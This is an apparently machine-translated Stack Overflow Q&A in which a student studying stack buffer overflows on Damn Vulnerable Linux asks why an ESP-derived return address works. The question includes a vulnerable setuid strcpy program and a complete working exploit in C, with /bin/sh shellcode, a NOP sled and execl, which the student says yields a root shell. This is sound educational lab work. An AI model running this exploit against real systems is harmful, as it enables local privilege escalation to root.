2013-04-14 37 views
1

我是一名正在研究堆棧緩衝區溢出如何工作的計算機工程學生。我正在閱讀的書是Jon Erickson的「剝削藝術(第1版)」。 爲了練習我正在學習的內容,我在虛擬機中安裝了Damn Vulnerable Linux發行版。我已經禁用ASRL(kernel.randomize_va_space = 0),我已經編譯了以下代碼:GCC 3.4.6,我正在使用GDB 6.6並且分發的內核是2.6.20。我的電腦有一個Intel處理器。 易受攻擊的程序(test2)由root創建並設置爲setuid。緩衝區溢出esp偏移量

易受攻擊的代碼如下:

//test2.c 
int main(int argc, char *argv[]) 
{ 
char buffer[500]; 

strcpy(buffer, argv[1]); 

return 0; 
} 

雖然利用代碼,由正常(非根)用戶創建,如下:

//main.c 
#include <stdlib.h> 

char shellcode[] = 
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 

unsigned long sp(void) 
{ 
__asm__("movl %esp, %eax"); 
} 

int main(int argc, char *argv[]) 
{ 
int i, offset; 
long esp, ret, *addr_ptr; 
char *buffer2, *ptr; 

offset = 0; 
esp = sp(); 

ret = esp - offset; 

printf("Stack pointer (ESP) : 0x%x\n", esp); 
printf(" Offset from ESP : 0x%x\n", offset); 
printf("Desired Return Addr : 0x%x\n", ret); 

buffer2 = malloc(600); 

ptr = buffer2; 
addr_ptr = (long *)ptr; 
for (i = 0; i < 600; i += 4) 
{ 
*(addr_ptr++) = ret; 
} 

for (i = 0; i < 200; i++) 
{ 
buffer2[i] = '\x90'; 
} 

ptr = buffer2 + 200; 
for (i = 0; i < strlen(shellcode); i++) 
{ 
*(ptr++) = shellcode[i]; 
} 

buffer2[600 - 1] = 0; 
execl("/root/workspace/test2/Release/test2", "test2", buffer2, 0); 

free(buffer2); 

return 0; 
} 

程序工作,它利用了test2中的緩衝區溢出漏洞,併爲我提供了一個root shell。 我不明白,即使在多次閱讀本書並嘗試在互聯網上找到答案後,我們存儲在變量esp中的堆棧指針的值是我們的shellcode的返回地址。我用GDB反彙編了這個程序,一切都按照作者的說法工作,但我不明白爲什麼會發生這種情況。

我希望向您展示如何在執行期間反彙編程序看起來像內存看起來像,但我不能從虛擬機上的來賓機複製/粘貼,我不允許插入圖像我的問題。因此,我只能描述執行程序main(在test2中利用BOF的那個)時發生了什麼:

反彙編main,我看到28字節分配在堆棧上(7個變量* 4字節) 。然後調用函數sp()並將堆棧指針的值存儲在esp中。存儲在變量esp中的值是0xbffff344。然後,你可以看到,我們有一些printf,我們將有效載荷存儲在buffer2中,然後我們調用傳遞buffer2作爲參數的execl函數。

現在出現root shell,然後程序退出。在設置不同的偏移量之後拆分程序,我可以清楚地看到0xbffff344恰恰是執行test2時存儲有效負載的地址。你能向我解釋這是怎麼發生的? execl是否爲test2程序設置了一個新的堆棧框架?在main.c中,只有28個字節分配在堆棧上,而test2中的500個字節分配在堆棧上(對於buffer2)。那麼我怎麼知道我在main.c中得到的堆棧指針正好是shellcode的返回地址呢?

如果我寫了一些愚蠢的東西,我感謝你並道歉。

回答

2

你能解釋我是怎麼發生的?

當禁用ASLR時,每個可執行文件都在相同的地址開始,因此給定堆棧指針,您可以猜測所需的偏移量,以便在test2中找到您的緩衝區位置。這也是NOP雪橇變得有用的地方,因爲如果偏移量不是shellcode的精確位移,它會給你多個可能的命中。

這就是說你的exploit程序的主函數中ESP的值是test2中執行的緩衝區的位置似乎是不正確的。你確定你只是不誤解gdb結果嗎?

你應該能夠計算使用緩衝器的位移如下:ESP - 500 + 28

注意,使用這樣的公式時,你應該經常戴手套:編譯器如何處理本地人,(大小,訂單等)可能會有所不同。

那麼我怎麼知道我在main.c中得到的堆棧指針正好是shellcode的返回地址呢?

嗯,你沒有。它取決於機器,程序是如何編譯的等等。

execl是否爲test2程序設置了一個新的棧幀?

從execve的手冊頁:

功能的高管家屬應帶一個新的進程映像替換當前的進程映像 。新圖像應由一個名爲新過程映像文件的常規可執行文件 構建。 將不會從成功的執行者返回,因爲調用進程 圖像被新的過程映像覆蓋。

堆棧被test2的新堆棧覆蓋。

希望它有幫助:)

+0

感謝您的答覆。我同意你的答案,我會像你這樣計算偏移量:esp-500 + 28。令我吃驚的是,即使offset = 0,gdb也證實了這個漏洞。還有一件事:當我在exploit程序的執行過程中使用gdb來檢查內存時,我發現堆棧上似乎確實存在兩個「緩衝區」(帶有NOP,shellcode和rets)。第一個從存儲在變量「esp」中的地址開始,而另一個存儲在堆棧中的較低地址處(似乎後者是脆弱函數的實際本地緩衝區)。有關這個事實的任何想法? – condorwasabi

+0

與我們將指針傳遞給函數execl的指針有什麼關係?我在考慮:考慮到在execl結束並且利用緩衝區存儲在堆中(當我們在exploit程序中構建它時),存儲在堆上的數據「丟失」,當我們將「buffer2」傳遞給execl時,我們傳遞指向堆中存儲的內容將丟失的指針。也許execl會複製堆棧上的所有漏洞緩衝區並由於某種原因(重合?),此緩衝區將從存儲在「esp」中的地址開始,這也是我們傳遞給execl的第三個參數的地址。 – condorwasabi

+0

哪裏/什麼時候你看到棧上有兩個緩衝區? Afaik傳統的strcpy實現只與一些本地指針/索引一起工作(查看[link](http://sourceware.org/git/?p=glibc.git))。所以這不太可能是因爲strcpy本地緩衝區。一件好事可能是在strcpy函數中設置一個斷點(break strcpy)並自己查看指令和堆棧/寄存器。例如,在我的機器上,stdlib是用SSE2支持編譯的,兩個參數是通過寄存器傳遞的。所以這真的是平臺的依賴。 – dna